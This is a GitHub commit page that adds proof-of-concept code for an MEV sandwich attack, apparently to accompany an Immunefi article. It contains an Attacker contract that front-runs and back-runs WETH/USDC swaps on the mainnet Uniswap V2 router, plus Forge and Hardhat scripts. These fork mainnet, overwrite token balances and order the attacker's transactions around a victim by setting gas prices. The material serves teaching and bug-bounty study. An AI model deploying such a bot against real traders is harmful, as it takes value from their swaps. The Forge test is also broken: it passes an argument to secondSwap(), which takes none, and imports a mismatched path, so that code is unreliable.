Skip to content

Commit

Permalink
Merge pull request #4 from immunefi-team/mev-article
Browse files Browse the repository at this point in the history
Added MEV article code
  • Loading branch information
arbaz-immunefi authored Jul 21, 2023
2 parents ce5ffff + 0587cef commit df37b3c
Show file tree
Hide file tree
Showing 4 changed files with 299 additions and 0 deletions.
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@ This repository contains all the proof of concepts (POCs) related to the article
| Beanstalk logical vulnerability | [BeanStalkPoC](./test/BeanStalk.t.sol) | [BeanStalk Logical Vulnerability Postmoterm](https://medium.com/immunefi/article1) | `RPC_URL=$ALCHEMY_API forge test --match-contract BeanStalkPoC -vvv`
| DFX Finance Rounding Error | [DFXFinancePoC](./src/DFXFinance/AttackContract.sol) | [DFX Finance Bugfix Review](https://medium.com/immunefi/) | `forge test -vvv --match-path ./test/DFXFinance/AttackTest.t.sol`
| Yield protocol Logical Vulnerability| [YieldProtocolPoC](./test/YieldProtocol.t.sol) | [Yield Protocol Bugfix Review](https://medium.com/immunefi/) | `forge test -vvv --match-path ./test/YieldProtocol/AttackTest.t.sol`
| MEV POC| [ForgeSandwichPOC](./test/MEV/Forge/Sandwich.t.sol) | [MEV POC Article](https://medium.com/immunefi/how-to-reproduce-a-simple-mev-attack-b38151616cb4) | `forge test -vvv --match-path ./test/MEV/Forge/Sandwich.t.sol`


## Getting Started
Expand Down
61 changes: 61 additions & 0 deletions src/MEV/Attacker.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;

// Uncomment this line to use console.log
// import "hardhat/console.sol";

interface IUniswapV2Router {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}

interface IERC20 {
function balanceOf(address owner)external view returns(uint256);
function approve(address spender, uint256 amount)external;
}

contract Attacker {
IUniswapV2Router public Router2 = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // token0
IERC20 public WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // token1

constructor() {
USDC.approve(address(Router2), type(uint256).max);
WETH.approve(address(Router2), type(uint256).max);
}

function firstSwap(uint256 amount)external {
address[] memory path = new address[](2);
//Swap from WETH to USDC
path[0] = address(WETH);
path[1] = address(USDC);

Router2.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp + 4200);
}

function secondSwap()external {
address[] memory path = new address[](2);
//Swap from USDC to WETH
path[0] = address(USDC);
path[1] = address(WETH);

uint256 amount = USDC.balanceOf(address(this));

Router2.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp + 4200);
}

function getUSDCBalance(address user)external view returns(uint256 result) {
return USDC.balanceOf(user);
}

function getWETHBalance(address user)external view returns(uint256 result) {
return WETH.balanceOf(user);
}

}
69 changes: 69 additions & 0 deletions test/MEV/Forge/Sandwich.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/Attacker.sol";

contract Sandwich is Test {
Attacker public attacker;
address public victim;

string RPC_URL = "https://rpc.ankr.com/eth";

uint256 mainnetfork;

IUniswapV2Router public Router2 = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // token0
IERC20 public WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // token1

function setUp() public {
mainnetfork = vm.createFork(RPC_URL);
vm.selectFork(mainnetfork);
vm.rollFork(17626926);

victim = vm.addr(1);

attacker = new Attacker();

deal(address(WETH), victim, 1_000*1e18); // victim initial balance
deal(address(WETH), address(attacker), 1_000*1e18); // attacker initial balance
}

function _frontrun() internal {
attacker.firstSwap(WETH.balanceOf(address(attacker)));
}

function _victim() internal {
vm.startPrank(victim);
WETH.approve(address(Router2), type(uint256).max);

address[] memory path = new address[](2);
//Swap from WETH to USDC
path[0] = address(WETH);
path[1] = address(USDC);

Router2.swapExactTokensForTokens(WETH.balanceOf(victim), 0, path, victim, block.timestamp + 4200); // the second parameter set to 0, to make it frontrunnable

vm.stopPrank();
}

function _backun() internal {
attacker.secondSwap(USDC.balanceOf(address(attacker)));
}

function testSandwich()public {
console.log("USDC Balance before (attacker) = ", attacker.getUSDCBalance(address(attacker)));
console.log("WETH Balance before (attacker) = ", attacker.getWETHBalance(address(attacker)));
console.log("USDC Balance before (victim) = ", attacker.getUSDCBalance(victim));
console.log("WETH Balance before (victim) = ", attacker.getWETHBalance(victim));
_frontrun();
_victim();
_backun();
console.log("USDC Balance after (attacker) = ", attacker.getUSDCBalance(address(attacker)));
console.log("WETH Balance after (attacker) = ", attacker.getWETHBalance(address(attacker)));
console.log("USDC Balance after (victim) = ", attacker.getUSDCBalance(victim));
console.log("WETH Balance after (victim) = ", attacker.getWETHBalance(victim));
}

}
168 changes: 168 additions & 0 deletions test/MEV/Hardhat/SandwichAttack.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,168 @@
// We require the Hardhat Runtime Environment explicitly here. This is optional
// but useful for running the script in a standalone fashion through `node <script>`.
//
// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
// will compile your contracts, add the Hardhat Runtime Environment's members to the
// global scope, and execute the script.
const { network, ethers } = require("hardhat");
const hre = require("hardhat");

async function main() {

// Fork the mainnet
await hre.network.provider.request({
method: "hardhat_reset",
params: [{
forking: {
jsonRpcUrl: "https://rpc.ankr.com/eth"
,blockNumber: 17626926
}
}]
})


// Sets important vars to be use to demonstrate an MEV sandwich attack
const WETH = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";
const USDC = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48";
const Router = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D";
const [maliciousUser, victim] = await ethers.getSigners();
const amount = 1000000000000000000000; // 1_000 ETH

/////////////////////////////////////////////////////////////////////////
////// This Section of code responsible for balance manipulation ////////
/////////////////////////////////////////////////////////////////////////
const toBytes32 = (bn) => {
return ethers.hexlify(ethers.zeroPadValue(ethers.toBeHex(BigInt(bn)), 32));
};
const setStorageAt = async (address, index, value) => {
await ethers.provider.send("hardhat_setStorageAt", [address, index, value]);
};
/////////////////////////////////////////////////////////////////////////


// Deploy the code
const attacker = await ethers.deployContract("Attacker");
const maliciousContract = await attacker.getAddress();
console.log("Malicious contract:", maliciousContract);


//Manipulate Attacker contract balance to 1_000 WETH
const AttackerIndex = ethers.solidityPackedKeccak256(["uint256", "uint256"], [maliciousContract, 3]); // key, slot
await setStorageAt(
WETH,
AttackerIndex,
toBytes32(amount).toString()
);

//Manipulate Victim balance to 1_000 WETH
const VictimIndex = ethers.solidityPackedKeccak256(["uint256", "uint256"], [victim.address, 3]); // key, slot
await setStorageAt(
WETH,
VictimIndex,
toBytes32(amount).toString()
);

///////////////////////////////////////////////////////////////////////////////////////////////////////
////// This Section of code responsible logging victim and attacker malicious contract balnace ////////
///////////////////////////////////////////////////////////////////////////////////////////////////////
console.log("attacker contract address = ", ethers.getAddress(maliciousContract));
const attackerUSDCBalanceBefore = await attacker.getUSDCBalance(maliciousContract);
const attackerWETHBalanceBefore = await attacker.getWETHBalance(maliciousContract);

console.log("USDC Balance Before (attacker) = ", BigInt(attackerUSDCBalanceBefore).toString());
console.log("WETH Balance Before (attacker) = ", BigInt(attackerWETHBalanceBefore).toString());

const victimUSDCBalanceBefore = await attacker.getUSDCBalance(victim.address);
const victimWETHBalanceVictim = await attacker.getWETHBalance(victim.address);

console.log("USDC Balance Before (victim) = ", BigInt(victimUSDCBalanceBefore).toString());
console.log("WETH Balance Before (victim) = ", BigInt(victimWETHBalanceVictim).toString());
///////////////////////////////////////////////////////////////////////////////////////////////////////


// Victim make an approval transaction, to give approval to router contract
const approveFunctionName = "approve";
const IERC20Interface = new ethers.Interface([
"function approve(address spender, uint256 amount) public"
]);
const approveParams = [
Router,
BigInt(amount)
]
await victim.sendTransaction({
to: WETH,
data: IERC20Interface.encodeFunctionData(approveFunctionName, approveParams)
});


// set the mining behavior to false, so the transaction will be collected in the mempool, before finalization
await network.provider.send("evm_setAutomine", [false]);

/////////////////////////////////////////////////////////////////////////
//////////// Victim made the transaction to swap their WETH /////////////
/////////////////////////////////////////////////////////////////////////
const functionName = "swapExactTokensForTokens";
const block = await ethers.provider.getBlock(17626926);
const params = [
BigInt(amount), // amount in
BigInt(0), // min amount out
[
WETH, // Asset in
USDC // Asset out
],
victim.address, // Receiving address
block.timestamp + 7200 // Deadline
];
const routerInterface = new ethers.Interface([
"function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) public"
]);
await victim.sendTransaction({
to: Router,
data: routerInterface.encodeFunctionData(functionName, params),
gasLimit: 500000,
gasPrice: ethers.parseUnits("100", "gwei")
});
/////////////////////////////////////////////////////////////////////////

// Attacker frontrun the transaction, by inflating gasPrice args
await attacker.connect(maliciousUser).firstSwap(BigInt(amount), {gasLimit: 500000, gasPrice: ethers.parseUnits("101", "gwei")} );

// Attacker backrun the victim transaction, by lowering the gasPrice args
await attacker.connect(maliciousUser).secondSwap( {gasLimit: 500000, gasPrice: ethers.parseUnits("99", "gwei")} );

// log the pending transaction that will be included in the next block by using the pending block tag
const pendingBlock = await network.provider.send("eth_getBlockByNumber", [
"pending",
false,
]);
console.log("\n Pending Block = " , pendingBlock);

// Manually mine the block
await ethers.provider.send("evm_mine", []);


///////////////////////////////////////////////////////////////////////////////////////////////////////
////// This Section of code responsible logging victim and attacker malicious contract balnace ////////
///////////////////////////////////////////////////////////////////////////////////////////////////////
const attackerUSDCBalanceAfter = await attacker.getUSDCBalance(maliciousContract);
const attackerWETHBalanceAfter = await attacker.getWETHBalance(maliciousContract);

console.log("USDC Balance After (attacker) = ", BigInt(attackerUSDCBalanceAfter).toString());
console.log("WETH Balance After (attacker) = ", BigInt(attackerWETHBalanceAfter).toString());

const victimUSDCBalanceAfter = await attacker.getUSDCBalance(victim.address);
const victimWETHBalanceAfter = await attacker.getWETHBalance(victim.address);

console.log("USDC Balance After (victim) = ", BigInt(victimUSDCBalanceAfter).toString());
console.log("WETH Balance After (victim) = ", BigInt(victimWETHBalanceAfter).toString());
///////////////////////////////////////////////////////////////////////////////////////////////////////


}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});

0 comments on commit df37b3c

Please sign in to comment.